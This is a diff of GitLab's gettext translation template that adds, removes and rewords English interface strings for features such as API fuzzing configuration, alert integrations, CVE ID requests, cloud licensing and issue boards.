msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
